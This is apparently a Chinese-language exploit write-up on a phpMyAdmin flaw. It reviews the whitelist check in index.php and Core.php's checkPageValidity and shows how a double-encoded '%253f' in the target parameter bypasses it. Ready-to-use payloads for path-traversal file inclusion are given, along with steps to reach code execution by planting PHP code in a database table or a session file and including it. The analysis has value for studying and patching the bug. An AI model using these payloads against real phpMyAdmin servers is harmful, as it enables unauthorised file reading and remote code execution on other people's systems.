phpmyadmin任意包含文件漏洞及任意代码执行漏洞
通过审计源码
我们可以从index.php文件中50-63行代码:
1 | $target_blacklist = array ( |
发现只要满足一下五个条件:
1 | 1. $_REQUEST['target']不为空 |
而在libraries\classes\Core.php 443-476行的代码:
1 | public static function checkPageValidity(&$page, array $whitelist = []) |
其中如果$whilelist为空的话,会自动导入$goto_whilelist
1 | public static $goto_whitelist = array( |
mb_strpos
1 | 格式:mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) |
$_page是取出$page问号前的东西,是考虑到target有参数的情况的话,只要$_page在白名单里面就会返回ture,所以如果第一个步骤不成功的话,还会进行一次url解码,再次进行相同的判断
由于服务器会自动进行一次url解码,所以我们传入二次编码后,会触发checkPageValidity()函数中url解码后的判断,判断问号前面的文件是否在白名单中,在的话返回true,因此构造payload:
1 | 一开始:?index.php?target=db_dataict.php%253f/../../../文件名 |
但是在index.php中$_REQUEST[‘target’]仍然是db_datadict.php%3f,而且会被include,通过目录穿越,造成任意文件包含
任意文件包含
通过目录穿越看系统目录下的文件
构造payload:
1 | index.php?target=db_datadict.php%253f/../../../文件名 |
其中../的数量看实际情况
任意代码执行
包含数据库中的文件(include包含文件,如果文件是php文件的话,则会执行,如果不是,则会返回文件中的内容)
先查一下数据库的路径:
1 | show global variables like "%datadir%" |
而后创建数据库及库中的表及表中的字段内容,内容可以为php代码,之后构造payload进行文件包含,并执行恶意代码
包含session文件
session文件路径以实际为主
构造sql语句并夹杂恶意代码,如下:
1 | SELECT "php代码" |
而后可以使用火狐的web开发者工具中的存储选项中的cookie值中phpmyadmin中的value值,这是生成的session文件名,一般存储位置为上面的数据库路径中的mysql/data改为tmp/tmp
1 | ?target=db_datadict.php%253f/../../../按实际情况定/按实际情况定/tmp/tmp/sess_cookie中的phpmyadmin中的value值 |
而其中../以实际为主,要一个一个试
详细请看:https://www.cnblogs.com/leixiao-/p/10265150.html#autoid-1-0-0